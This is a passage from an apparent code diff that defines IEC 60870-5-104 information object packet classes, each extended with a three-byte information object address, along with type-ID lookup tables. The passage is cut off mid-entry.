IEC104_IO_ID_M_ST_TA_1: IEC104_IO_M_ST_TA_1, + IEC104_IO_ID_M_BO_NA_1: IEC104_IO_M_BO_NA_1, + IEC104_IO_ID_M_BO_TA_1: IEC104_IO_M_BO_TA_1, + IEC104_IO_ID_M_ME_NA_1: IEC104_IO_M_ME_NA_1, + IEC104_IO_ID_M_ME_TA_1: IEC104_IO_M_ME_TA_1, + IEC104_IO_ID_M_ME_NB_1: IEC104_IO_M_ME_NB_1, + IEC104_IO_ID_M_ME_TB_1: IEC104_IO_M_ME_TB_1, + IEC104_IO_ID_M_ME_NC_1: IEC104_IO_M_ME_NC_1, + IEC104_IO_ID_M_ME_TC_1: IEC104_IO_M_ME_TC_1, + IEC104_IO_ID_M_IT_NA_1: IEC104_IO_M_IT_NA_1, + IEC104_IO_ID_M_IT_TA_1: IEC104_IO_M_IT_TA_1, + IEC104_IO_ID_M_EP_TA_1: IEC104_IO_M_EP_TA_1, + IEC104_IO_ID_M_EP_TB_1: IEC104_IO_M_EP_TB_1, + IEC104_IO_ID_M_EP_TC_1: IEC104_IO_M_EP_TC_1, + IEC104_IO_ID_M_PS_NA_1: IEC104_IO_M_PS_NA_1, + IEC104_IO_ID_M_ME_ND_1: IEC104_IO_M_ME_ND_1, + IEC104_IO_ID_M_SP_TB_1: IEC104_IO_M_SP_TB_1, + IEC104_IO_ID_M_DP_TB_1: IEC104_IO_M_DP_TB_1, + IEC104_IO_ID_M_ST_TB_1: IEC104_IO_M_ST_TB_1, + IEC104_IO_ID_M_BO_TB_1: IEC104_IO_M_BO_TB_1, + IEC104_IO_ID_M_ME_TD_1: IEC104_IO_M_ME_TD_1, + IEC104_IO_ID_M_ME_TE_1: IEC104_IO_M_ME_TE_1, + IEC104_IO_ID_M_ME_TF_1: IEC104_IO_M_ME_TF_1, + IEC104_IO_ID_M_IT_TB_1: IEC104_IO_M_IT_TB_1, + IEC104_IO_ID_M_EP_TD_1: IEC104_IO_M_EP_TD_1, + IEC104_IO_ID_M_EP_TE_1: IEC104_IO_M_EP_TE_1, + IEC104_IO_ID_M_EP_TF_1: IEC104_IO_M_EP_TF_1, + IEC104_IO_ID_C_SC_NA_1: IEC104_IO_C_SC_NA_1, + IEC104_IO_ID_C_DC_NA_1: IEC104_IO_C_DC_NA_1, + IEC104_IO_ID_C_RC_NA_1: IEC104_IO_C_RC_NA_1, + IEC104_IO_ID_C_SE_NA_1: IEC104_IO_C_SE_NA_1, + IEC104_IO_ID_C_SE_NB_1: IEC104_IO_C_SE_NB_1, + IEC104_IO_ID_C_SE_NC_1: IEC104_IO_C_SE_NC_1, + IEC104_IO_ID_C_BO_NA_1: IEC104_IO_C_BO_NA_1, + IEC104_IO_ID_C_SC_TA_1: IEC104_IO_C_SC_TA_1, + IEC104_IO_ID_C_DC_TA_1: IEC104_IO_C_DC_TA_1, + IEC104_IO_ID_C_RC_TA_1: IEC104_IO_C_RC_TA_1, + IEC104_IO_ID_C_SE_TA_1: IEC104_IO_C_SE_TA_1, + IEC104_IO_ID_C_SE_TB_1: IEC104_IO_C_SE_TB_1, + IEC104_IO_ID_C_SE_TC_1: IEC104_IO_C_SE_TC_1, + IEC104_IO_ID_C_BO_TA_1: IEC104_IO_C_BO_TA_1, + IEC104_IO_ID_M_EI_NA_1: IEC104_IO_M_EI_NA_1, + IEC104_IO_ID_C_IC_NA_1: IEC104_IO_C_IC_NA_1, + IEC104_IO_ID_C_CI_NA_1: IEC104_IO_C_CI_NA_1, + IEC104_IO_ID_C_RD_NA_1: IEC104_IO_C_RD_NA_1, + IEC104_IO_ID_C_CS_NA_1: IEC104_IO_C_CS_NA_1, + IEC104_IO_ID_C_TS_NA_1: IEC104_IO_C_TS_NA_1, + IEC104_IO_ID_C_RP_NA_1: IEC104_IO_C_RP_NA_1, + IEC104_IO_ID_C_CD_NA_1: IEC104_IO_C_CD_NA_1, + IEC104_IO_ID_C_TS_TA_1: IEC104_IO_C_TS_TA_1, + IEC104_IO_ID_P_ME_NA_1: IEC104_IO_P_ME_NA_1, + IEC104_IO_ID_P_ME_NB_1: IEC104_IO_P_ME_NB_1, + IEC104_IO_ID_P_ME_NC_1: IEC104_IO_P_ME_NC_1, + IEC104_IO_ID_P_AC_NA_1: IEC104_IO_P_AC_NA_1, + IEC104_IO_ID_F_FR_NA_1: IEC104_IO_F_FR_NA_1, + IEC104_IO_ID_F_SR_NA_1: IEC104_IO_F_SR_NA_1, + IEC104_IO_ID_F_SC_NA_1: IEC104_IO_F_SC_NA_1, + IEC104_IO_ID_F_LS_NA_1: IEC104_IO_F_LS_NA_1, + IEC104_IO_ID_F_AF_NA_1: IEC104_IO_F_AF_NA_1, + IEC104_IO_ID_F_SG_NA_1: IEC104_IO_F_SG_NA_1, + IEC104_IO_ID_F_DR_TA_1: IEC104_IO_F_DR_TA_1, + IEC104_IO_ID_F_SC_NB_1: IEC104_IO_F_SC_NB_1 +} + + +class IEC104_IO_M_SP_NA_1_IOA(IEC104_IO_M_SP_NA_1): + """ + extended version of IEC104_IO_M_SP_NA_1 containing an individual + information object address + """ + name = 'M_SP_NA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_M_SP_NA_1.fields_desc + + +class IEC104_IO_M_SP_TA_1_IOA(IEC104_IO_M_SP_TA_1): + """ + extended version of IEC104_IO_M_SP_TA_1 containing an individual + information object address + """ + name = 'M_SP_TA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_M_SP_TA_1.fields_desc + + +class IEC104_IO_M_DP_NA_1_IOA(IEC104_IO_M_DP_NA_1): + """ + extended version of IEC104_IO_M_DP_NA_1 containing an individual + information object address + """ + name = 'M_DP_NA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_M_DP_NA_1.fields_desc + + +class IEC104_IO_M_DP_TA_1_IOA(IEC104_IO_M_DP_TA_1): + """ + extended version of IEC104_IO_M_DP_TA_1 containing an individual + information object address + """ + name = 'M_DP_TA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_M_DP_TA_1.fields_desc + + +class IEC104_IO_M_ST_NA_1_IOA(IEC104_IO_M_ST_NA_1): + """ + extended version of IEC104_IO_M_ST_NA_1 containing an individual + information object address + """ + name = 'M_ST_NA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_M_ST_NA_1.fields_desc + + +class IEC104_IO_M_ST_TA_1_IOA(IEC104_IO_M_ST_TA_1): + """ + extended version of IEC104_IO_M_ST_TA_1 containing an individual + information object address + """ + name = 'M_ST_TA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_M_ST_TA_1.fields_desc + + +class IEC104_IO_M_BO_NA_1_IOA(IEC104_IO_M_BO_NA_1): + """ + extended version of IEC104_IO_M_BO_NA_1 containing an individual + information object address + """ + name = 'M_BO_NA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_M_BO_NA_1.fields_desc + + +class IEC104_IO_M_BO_TA_1_IOA(IEC104_IO_M_BO_TA_1): + """ + extended version of IEC104_IO_M_BO_TA_1 containing an individual + information object address + """ + name = 'M_BO_TA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_M_BO_TA_1.fields_desc + + +class IEC104_IO_M_ME_NA_1_IOA(IEC104_IO_M_ME_NA_1): + """ + extended version of IEC104_IO_M_ME_NA_1 containing an individual + information object address + """ + name = 'M_ME_NA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_M_ME_NA_1.fields_desc + + +class IEC104_IO_M_ME_TA_1_IOA(IEC104_IO_M_ME_TA_1): + """ + extended version of IEC104_IO_M_ME_TA_1 containing an individual + information object address + """ + name = 'M_ME_TA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_M_ME_TA_1.fields_desc + + +class IEC104_IO_M_ME_NB_1_IOA(IEC104_IO_M_ME_NB_1): + """ + extended version of IEC104_IO_M_ME_NB_1 containing an individual + information object address + """ + name = 'M_ME_NB_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_M_ME_NB_1.fields_desc + + +class IEC104_IO_M_ME_TB_1_IOA(IEC104_IO_M_ME_TB_1): + """ + extended version of IEC104_IO_M_ME_TB_1 containing an individual + information object address + """ + name = 'M_ME_TB_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_M_ME_TB_1.fields_desc + + +class IEC104_IO_M_ME_NC_1_IOA(IEC104_IO_M_ME_NC_1): + """ + extended version of IEC104_IO_M_ME_NC_1 containing an individual + information object address + """ + name = 'M_ME_NC_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_M_ME_NC_1.fields_desc + + +class IEC104_IO_M_ME_TC_1_IOA(IEC104_IO_M_ME_TC_1): + """ + extended version of IEC104_IO_M_ME_TC_1 containing an individual + information object address + """ + name = 'M_ME_TC_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_M_ME_TC_1.fields_desc + + +class IEC104_IO_M_IT_NA_1_IOA(IEC104_IO_M_IT_NA_1): + """ + extended version of IEC104_IO_M_IT_NA_1 containing an individual + information object address + """ + name = 'M_IT_NA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_M_IT_NA_1.fields_desc + + +class IEC104_IO_M_IT_TA_1_IOA(IEC104_IO_M_IT_TA_1): + """ + extended version of IEC104_IO_M_IT_TA_1 containing an individual + information object address + """ + name = 'M_IT_TA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_M_IT_TA_1.fields_desc + + +class IEC104_IO_M_EP_TA_1_IOA(IEC104_IO_M_EP_TA_1): + """ + extended version of IEC104_IO_M_EP_TA_1 containing an individual + information object address + """ + name = 'M_EP_TA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_M_EP_TA_1.fields_desc + + +class IEC104_IO_M_EP_TB_1_IOA(IEC104_IO_M_EP_TB_1): + """ + extended version of IEC104_IO_M_EP_TB_1 containing an individual + information object address + """ + name = 'M_EP_TB_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_M_EP_TB_1.fields_desc + + +class IEC104_IO_M_EP_TC_1_IOA(IEC104_IO_M_EP_TC_1): + """ + extended version of IEC104_IO_M_EP_TC_1 containing an individual + information object address + """ + name = 'M_EP_TC_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_M_EP_TC_1.fields_desc + + +class IEC104_IO_M_PS_NA_1_IOA(IEC104_IO_M_PS_NA_1): + """ + extended version of IEC104_IO_M_PS_NA_1 containing an individual + information object address + """ + name = 'M_PS_NA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_M_PS_NA_1.fields_desc + + +class IEC104_IO_M_ME_ND_1_IOA(IEC104_IO_M_ME_ND_1): + """ + extended version of IEC104_IO_M_ME_ND_1 containing an individual + information object address + """ + name = 'M_ME_ND_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_M_ME_ND_1.fields_desc + + +class IEC104_IO_M_SP_TB_1_IOA(IEC104_IO_M_SP_TB_1): + """ + extended version of IEC104_IO_M_SP_TB_1 containing an individual + information object address + """ + name = 'M_SP_TB_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_M_SP_TB_1.fields_desc + + +class IEC104_IO_M_DP_TB_1_IOA(IEC104_IO_M_DP_TB_1): + """ + extended version of IEC104_IO_M_DP_TB_1 containing an individual + information object address + """ + name = 'M_DP_TB_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_M_DP_TB_1.fields_desc + + +class IEC104_IO_M_ST_TB_1_IOA(IEC104_IO_M_ST_TB_1): + """ + extended version of IEC104_IO_M_ST_TB_1 containing an individual + information object address + """ + name = 'M_ST_TB_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_M_ST_TB_1.fields_desc + + +class IEC104_IO_M_BO_TB_1_IOA(IEC104_IO_M_BO_TB_1): + """ + extended version of IEC104_IO_M_BO_TB_1 containing an individual + information object address + """ + name = 'M_BO_TB_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_M_BO_TB_1.fields_desc + + +class IEC104_IO_M_ME_TD_1_IOA(IEC104_IO_M_ME_TD_1): + """ + extended version of IEC104_IO_M_ME_TD_1 containing an individual + information object address + """ + name = 'M_ME_TD_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_M_ME_TD_1.fields_desc + + +class IEC104_IO_M_ME_TE_1_IOA(IEC104_IO_M_ME_TE_1): + """ + extended version of IEC104_IO_M_ME_TE_1 containing an individual + information object address + """ + name = 'M_ME_TE_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_M_ME_TE_1.fields_desc + + +class IEC104_IO_M_ME_TF_1_IOA(IEC104_IO_M_ME_TF_1): + """ + extended version of IEC104_IO_M_ME_TF_1 containing an individual + information object address + """ + name = 'M_ME_TF_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_M_ME_TF_1.fields_desc + + +class IEC104_IO_M_IT_TB_1_IOA(IEC104_IO_M_IT_TB_1): + """ + extended version of IEC104_IO_M_IT_TB_1 containing an individual + information object address + """ + name = 'M_IT_TB_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_M_IT_TB_1.fields_desc + + +class IEC104_IO_M_EP_TD_1_IOA(IEC104_IO_M_EP_TD_1): + """ + extended version of IEC104_IO_M_EP_TD_1 containing an individual + information object address + """ + name = 'M_EP_TD_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_M_EP_TD_1.fields_desc + + +class IEC104_IO_M_EP_TE_1_IOA(IEC104_IO_M_EP_TE_1): + """ + extended version of IEC104_IO_M_EP_TE_1 containing an individual + information object address + """ + name = 'M_EP_TE_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_M_EP_TE_1.fields_desc + + +class IEC104_IO_M_EP_TF_1_IOA(IEC104_IO_M_EP_TF_1): + """ + extended version of IEC104_IO_M_EP_TF_1 containing an individual + information object address + """ + name = 'M_EP_TF_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_M_EP_TF_1.fields_desc + + +class IEC104_IO_C_SC_NA_1_IOA(IEC104_IO_C_SC_NA_1): + """ + extended version of IEC104_IO_C_SC_NA_1 containing an individual + information object address + """ + name = 'C_SC_NA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_C_SC_NA_1.fields_desc + + +class IEC104_IO_C_DC_NA_1_IOA(IEC104_IO_C_DC_NA_1): + """ + extended version of IEC104_IO_C_DC_NA_1 containing an individual + information object address + """ + name = 'C_DC_NA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_C_DC_NA_1.fields_desc + + +class IEC104_IO_C_RC_NA_1_IOA(IEC104_IO_C_RC_NA_1): + """ + extended version of IEC104_IO_C_RC_NA_1 containing an individual + information object address + """ + name = 'C_RC_NA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_C_RC_NA_1.fields_desc + + +class IEC104_IO_C_SE_NA_1_IOA(IEC104_IO_C_SE_NA_1): + """ + extended version of IEC104_IO_C_SE_NA_1 containing an individual + information object address + """ + name = 'C_SE_NA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_C_SE_NA_1.fields_desc + + +class IEC104_IO_C_SE_NB_1_IOA(IEC104_IO_C_SE_NB_1): + """ + extended version of IEC104_IO_C_SE_NB_1 containing an individual + information object address + """ + name = 'C_SE_NB_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_C_SE_NB_1.fields_desc + + +class IEC104_IO_C_SE_NC_1_IOA(IEC104_IO_C_SE_NC_1): + """ + extended version of IEC104_IO_C_SE_NC_1 containing an individual + information object address + """ + name = 'C_SE_NC_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_C_SE_NC_1.fields_desc + + +class IEC104_IO_C_BO_NA_1_IOA(IEC104_IO_C_BO_NA_1): + """ + extended version of IEC104_IO_C_BO_NA_1 containing an individual + information object address + """ + name = 'C_BO_NA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_C_BO_NA_1.fields_desc + + +class IEC104_IO_C_SC_TA_1_IOA(IEC104_IO_C_SC_TA_1): + """ + extended version of IEC104_IO_C_SC_TA_1 containing an individual + information object address + """ + name = 'C_SC_TA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_C_SC_TA_1.fields_desc + + +class IEC104_IO_C_DC_TA_1_IOA(IEC104_IO_C_DC_TA_1): + """ + extended version of IEC104_IO_C_DC_TA_1 containing an individual + information object address + """ + name = 'C_DC_TA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_C_DC_TA_1.fields_desc + + +class IEC104_IO_C_RC_TA_1_IOA(IEC104_IO_C_RC_TA_1): + """ + extended version of IEC104_IO_C_RC_TA_1 containing an individual + information object address + """ + name = 'C_RC_TA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_C_RC_TA_1.fields_desc + + +class IEC104_IO_C_SE_TA_1_IOA(IEC104_IO_C_SE_TA_1): + """ + extended version of IEC104_IO_C_SE_TA_1 containing an individual + information object address + """ + name = 'C_SE_TA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_C_SE_TA_1.fields_desc + + +class IEC104_IO_C_SE_TB_1_IOA(IEC104_IO_C_SE_TB_1): + """ + extended version of IEC104_IO_C_SE_TB_1 containing an individual + information object address + """ + name = 'C_SE_TB_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_C_SE_TB_1.fields_desc + + +class IEC104_IO_C_SE_TC_1_IOA(IEC104_IO_C_SE_TC_1): + """ + extended version of IEC104_IO_C_SE_TC_1 containing an individual + information object address + """ + name = 'C_SE_TC_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_C_SE_TC_1.fields_desc + + +class IEC104_IO_C_BO_TA_1_IOA(IEC104_IO_C_BO_TA_1): + """ + extended version of IEC104_IO_C_BO_TA_1 containing an individual + information object address + """ + name = 'C_BO_TA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_C_BO_TA_1.fields_desc + + +class IEC104_IO_M_EI_NA_1_IOA(IEC104_IO_M_EI_NA_1): + """ + extended version of IEC104_IO_M_EI_NA_1 containing an individual + information object address + """ + name = 'M_EI_NA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_M_EI_NA_1.fields_desc + + +class IEC104_IO_C_IC_NA_1_IOA(IEC104_IO_C_IC_NA_1): + """ + extended version of IEC104_IO_C_IC_NA_1 containing an individual + information object address + """ + name = 'C_IC_NA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_C_IC_NA_1.fields_desc + + +class IEC104_IO_C_CI_NA_1_IOA(IEC104_IO_C_CI_NA_1): + """ + extended version of IEC104_IO_C_CI_NA_1 containing an individual + information object address + """ + name = 'C_CI_NA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_C_CI_NA_1.fields_desc + + +class IEC104_IO_C_RD_NA_1_IOA(IEC104_IO_C_RD_NA_1): + """ + extended version of IEC104_IO_C_RD_NA_1 containing an individual + information object address + """ + name = 'C_RD_NA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_C_RD_NA_1.fields_desc + + +class IEC104_IO_C_CS_NA_1_IOA(IEC104_IO_C_CS_NA_1): + """ + extended version of IEC104_IO_C_CS_NA_1 containing an individual + information object address + """ + name = 'C_CS_NA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_C_CS_NA_1.fields_desc + + +class IEC104_IO_C_TS_NA_1_IOA(IEC104_IO_C_TS_NA_1): + """ + extended version of IEC104_IO_C_TS_NA_1 containing an individual + information object address + """ + name = 'C_TS_NA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_C_TS_NA_1.fields_desc + + +class IEC104_IO_C_RP_NA_1_IOA(IEC104_IO_C_RP_NA_1): + """ + extended version of IEC104_IO_C_RP_NA_1 containing an individual + information object address + """ + name = 'C_RP_NA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_C_RP_NA_1.fields_desc + + +class IEC104_IO_C_CD_NA_1_IOA(IEC104_IO_C_CD_NA_1): + """ + extended version of IEC104_IO_C_CD_NA_1 containing an individual + information object address + """ + name = 'C_CD_NA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_C_CD_NA_1.fields_desc + + +class IEC104_IO_C_TS_TA_1_IOA(IEC104_IO_C_TS_TA_1): + """ + extended version of IEC104_IO_C_TS_TA_1 containing an individual + information object address + """ + name = 'C_TS_TA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_C_TS_TA_1.fields_desc + + +class IEC104_IO_P_ME_NA_1_IOA(IEC104_IO_P_ME_NA_1): + """ + extended version of IEC104_IO_P_ME_NA_1 containing an individual + information object address + """ + name = 'P_ME_NA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_P_ME_NA_1.fields_desc + + +class IEC104_IO_P_ME_NB_1_IOA(IEC104_IO_P_ME_NB_1): + """ + extended version of IEC104_IO_P_ME_NB_1 containing an individual + information object address + """ + name = 'P_ME_NB_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_P_ME_NB_1.fields_desc + + +class IEC104_IO_P_ME_NC_1_IOA(IEC104_IO_P_ME_NC_1): + """ + extended version of IEC104_IO_P_ME_NC_1 containing an individual + information object address + """ + name = 'P_ME_NC_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_P_ME_NC_1.fields_desc + + +class IEC104_IO_P_AC_NA_1_IOA(IEC104_IO_P_AC_NA_1): + """ + extended version of IEC104_IO_P_AC_NA_1 containing an individual + information object address + """ + name = 'P_AC_NA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_P_AC_NA_1.fields_desc + + +class IEC104_IO_F_FR_NA_1_IOA(IEC104_IO_F_FR_NA_1): + """ + extended version of IEC104_IO_F_FR_NA_1 containing an individual + information object address + """ + name = 'F_FR_NA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_F_FR_NA_1.fields_desc + + +class IEC104_IO_F_SR_NA_1_IOA(IEC104_IO_F_SR_NA_1): + """ + extended version of IEC104_IO_F_SR_NA_1 containing an individual + information object address + """ + name = 'F_SR_NA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_F_SR_NA_1.fields_desc + + +class IEC104_IO_F_SC_NA_1_IOA(IEC104_IO_F_SC_NA_1): + """ + extended version of IEC104_IO_F_SC_NA_1 containing an individual + information object address + """ + name = 'F_SC_NA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_F_SC_NA_1.fields_desc + + +class IEC104_IO_F_LS_NA_1_IOA(IEC104_IO_F_LS_NA_1): + """ + extended version of IEC104_IO_F_LS_NA_1 containing an individual + information object address + """ + name = 'F_LS_NA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_F_LS_NA_1.fields_desc + + +class IEC104_IO_F_AF_NA_1_IOA(IEC104_IO_F_AF_NA_1): + """ + extended version of IEC104_IO_F_AF_NA_1 containing an individual + information object address + """ + name = 'F_AF_NA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_F_AF_NA_1.fields_desc + + +class IEC104_IO_F_SG_NA_1_IOA(IEC104_IO_F_SG_NA_1): + """ + extended version of IEC104_IO_F_SG_NA_1 containing an individual + information object address + """ + name = 'F_SG_NA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_F_SG_NA_1.fields_desc + + +class IEC104_IO_F_DR_TA_1_IOA(IEC104_IO_F_DR_TA_1): + """ + extended version of IEC104_IO_F_DR_TA_1 containing an individual + information object address + """ + name = 'F_DR_TA_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_F_DR_TA_1.fields_desc + + +class IEC104_IO_F_SC_NB_1_IOA(IEC104_IO_F_SC_NB_1): + """ + extended version of IEC104_IO_F_SC_NB_1 containing an individual + information object address + """ + name = 'F_SC_NB_1 (+ioa)' + fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ + IEC104_IO_F_SC_NB_1.fields_desc + + +IEC104_IO_WITH_IOA_CLASSES = { + IEC104_IO_ID_M_SP_NA_1: IEC104_IO_M_SP_NA_1_IOA, + IEC104_IO_ID_M_SP_TA_1: IEC104_IO_M_SP_TA_1_IOA, + IEC104_IO_ID_M_DP_NA_1: IEC104_IO_M_DP_NA_1_IOA, + IEC104_IO_ID_M_DP_TA_1: IEC104_IO_M_DP_TA_1_IOA, + IEC104_IO_ID_M_ST_NA_1: IEC104_IO_M_ST_NA_1_IOA, + IEC104_IO_ID_M_ST_TA_1: IEC104_IO_M_ST_TA_1_IOA, + IEC104_IO_ID_M_BO_NA_1: IEC104_IO_M_BO_NA_1_IOA, + IEC104_IO_ID_M_BO_TA_1: IEC104_IO_M_BO_TA_1_IOA, + IEC104_IO_ID_M_ME_NA_1: IEC104_IO_M_ME_NA_1_IOA, + IEC104_IO_ID_M_ME_TA_1: IEC104_IO_M_ME_TA_1_IOA, + IEC104_IO_ID_M_ME_NB_1: IEC104_IO_M_ME_NB_1_IOA, + IEC104_IO_ID_M_ME_TB_1: IEC104_IO_M_ME_TB_1_IOA, + IEC104_IO_ID_M_ME_NC_1: IEC104_IO_M_ME_NC_1_IOA, + IEC104_IO_ID_M_ME_TC_1: IEC104_IO_M_ME_TC_1_IOA, + IEC104_IO_ID_M_IT_NA_1: IEC104_IO_M_IT_NA_1_IOA, + IEC104_IO_ID_M_IT_TA_1: IEC104_IO_M_IT_TA_1_IOA, + IEC104_IO_ID_M_EP_TA_1: IEC104_IO_M_EP_TA_1_IOA, + IEC104_IO_ID_M_EP_TB_1: IEC104_IO_M_EP_TB_1_IOA, + IEC104_IO_ID_M_EP_TC_1: IEC104_IO_M_EP_TC_1_IOA, + IEC104_IO_ID_M_PS_NA_1: IEC104_IO_M_PS_NA_1_IOA, + IEC104_IO_ID_M_ME_ND_1: IEC104_IO_M_ME_ND_1_IOA, + IEC104_IO_ID_M_SP_TB_1: IEC104_IO_M_SP_TB_1_IOA, + IEC104_IO_ID_M_DP_TB_1: IEC104_IO_M_DP_TB_1_IOA, + IEC104_IO_ID_M_ST_TB_1: IEC104_IO_M_ST_TB_1_IOA, + IEC104_IO_ID_M_BO_TB_1: IEC104_IO_M_BO_TB_1_IOA, + IEC104_IO_ID_M_ME_TD_1: IEC104_IO_M_ME_TD_1_IOA, + IEC104_IO_ID_M_ME_TE_1: IEC104_IO_M_ME_TE_1_IOA, + IEC104_IO_ID_M_ME_TF_1: IEC104_IO_M_ME_TF_1_IOA, + IEC104_IO_ID_M_IT_TB_1: IEC104_IO_M_IT_TB_1_IOA, + IEC104_IO_ID_M_EP_TD_1: IEC104_IO_M_EP_TD_1_IOA, + IEC104_IO_ID_M_EP_TE_1: IEC104_IO_M_EP_TE_1_IOA, + IEC104_IO_ID_M_EP_TF_1: IEC104_IO_M_EP_TF_1_IOA, + IEC104_IO_ID_C_SC_NA_1: IEC104_IO_C_SC_NA_1_IOA, + IEC104_IO_ID_C_DC_NA_1: IEC104_IO_C_DC_NA_1_IOA, + IEC104_IO_ID_C_RC_NA_1: IEC104_IO_C_RC_NA_1_IOA, + IEC104_IO_ID_C_SE_NA_1: IEC104_IO_C_SE_NA_1_IOA, + IEC104_IO_ID_C_SE_NB_1: IEC104_IO_C_SE_NB_1_IOA, + IEC104_IO_ID_C_SE_NC_1: IEC104_IO_C_SE_NC_1_IOA, + IEC104_IO_ID_C_BO_NA_1: IEC104_IO_C_BO_NA_1_IOA, + IEC104_IO_ID_C_SC_TA_1: IEC104_IO_C_SC_TA_1_IOA, + IEC104_IO_ID_C_DC_TA_1: IEC104_IO_C_DC_TA_1_IOA, + IEC104_IO_ID_C_RC_TA_1: 